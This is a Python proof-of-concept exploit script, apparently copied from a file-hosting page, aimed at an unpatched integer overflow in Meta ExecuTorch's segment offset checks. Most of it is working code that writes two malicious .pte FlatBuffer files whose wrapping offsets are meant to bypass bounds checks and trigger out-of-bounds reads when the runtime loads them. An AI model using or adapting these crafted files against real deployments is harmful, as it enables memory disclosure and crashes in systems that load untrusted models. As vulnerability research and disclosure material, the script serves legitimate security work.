File size: 4,733 Bytes
229ea7e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python3
"""
PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch
================================================================================
CVE: N/A (0-day)
Target: executorch/runtime/executor/program.cpp (line 592, 609)
        executorch/runtime/executor/pte_data_map.cpp (line 58)
Severity: High (Out-of-Bounds Read via Bounds Check Bypass)

VULNERABILITY SUMMARY:
Multiple functions in the ExecuTorch runtime perform unchecked arithmetic
on segment offsets before using the result to load data. These offsets
are read from the .pte FlatBuffer file and are fully attacker-controlled.

BUG 1 — program.cpp:592 (bounds check bypass):
    if (offset + size > segment->size()) {  // offset + size WRAPS to small value
        return Error::InvalidArgument;       // check passes incorrectly!
    }

BUG 2 — program.cpp:609 (triple addition overflow):
    return loader_->load(
        segment_base_offset_ + segment->offset() + offset, ...);

BUG 3 — pte_data_map.cpp:58 (double addition overflow):
    return loader_->load(
        segment_base_offset_ + segment_offset, segment_size, ...);

This script generates .pte files demonstrating both overflow vectors.
Requires: pip install flatbuffers
"""

import struct
import sys
import os
import flatbuffers

FILE_IDENTIFIER = b"ET12"
KERNEL_TYPE_INT = 2

def build_segment_overflow_pte(output_path, segment_offset, segment_size):
    builder = flatbuffers.Builder(2048)

    builder.StartObject(1)
    builder.PrependInt64Slot(0, 0, 0)
    int_offset = builder.EndObject()

    builder.StartObject(2)
    builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0)
    builder.PrependUOffsetTRelativeSlot(1, int_offset, 0)
    evalue_offset = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(evalue_offset)
    values_vec = builder.EndVector()

    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    inputs_vec = builder.EndVector()

    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    outputs_vec = builder.EndVector()

    builder.StartVector(8, 1, 8)
    builder.PrependInt64(0)
    non_const_vec = builder.EndVector()

    name_str = builder.CreateString("forward")

    builder.StartObject(9)
    builder.PrependUOffsetTRelativeSlot(0, name_str, 0)
    builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
    builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0)
    builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0)
    builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0)
    exec_plan_offset = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(exec_plan_offset)
    exec_plan_vec = builder.EndVector()

    builder.StartObject(2)
    builder.PrependUint64Slot(0, segment_offset, 0)
    builder.PrependUint64Slot(1, segment_size, 0)
    segment_entry = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(segment_entry)
    segments_vec = builder.EndVector()

    builder.StartVector(8, 1, 8)
    builder.PrependUint64(0)
    offsets_vec = builder.EndVector()

    builder.StartObject(2)
    builder.PrependUint32Slot(0, 0, 0)
    builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0)
    const_segment = builder.EndObject()

    builder.StartObject(8)
    builder.PrependUint32Slot(0, 0, 0)
    builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0)
    builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0)
    builder.PrependUOffsetTRelativeSlot(5, const_segment, 0)
    program_offset = builder.EndObject()

    builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER)
    buf = bytes(builder.Output())

    with open(output_path, "wb") as f:
        f.write(buf)
    return buf

def main():
    print("PoC: Segment Offset Overflow in Meta ExecuTorch")
    UINT64_MAX = (1 << 64) - 1

    # Scenario 1: Bounds check bypass
    seg_offset = 0xFFFFFFFFFFFF0000
    seg_size = 0x0000000000020000
    buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size)
    print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)")

    # Scenario 2: Triple addition overflow
    assumed_base = 4096
    seg_offset2 = (0 - assumed_base) % (1 << 64)
    buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000)
    print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)")

    # Verify
    for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]:
        with open(path, "rb") as f:
            data = bytearray(f.read())
        assert data[4:8] == FILE_IDENTIFIER
        print(f"  {path}: Valid ET12 FlatBuffer ({len(data)} bytes)")

if __name__ == "__main__":
    main()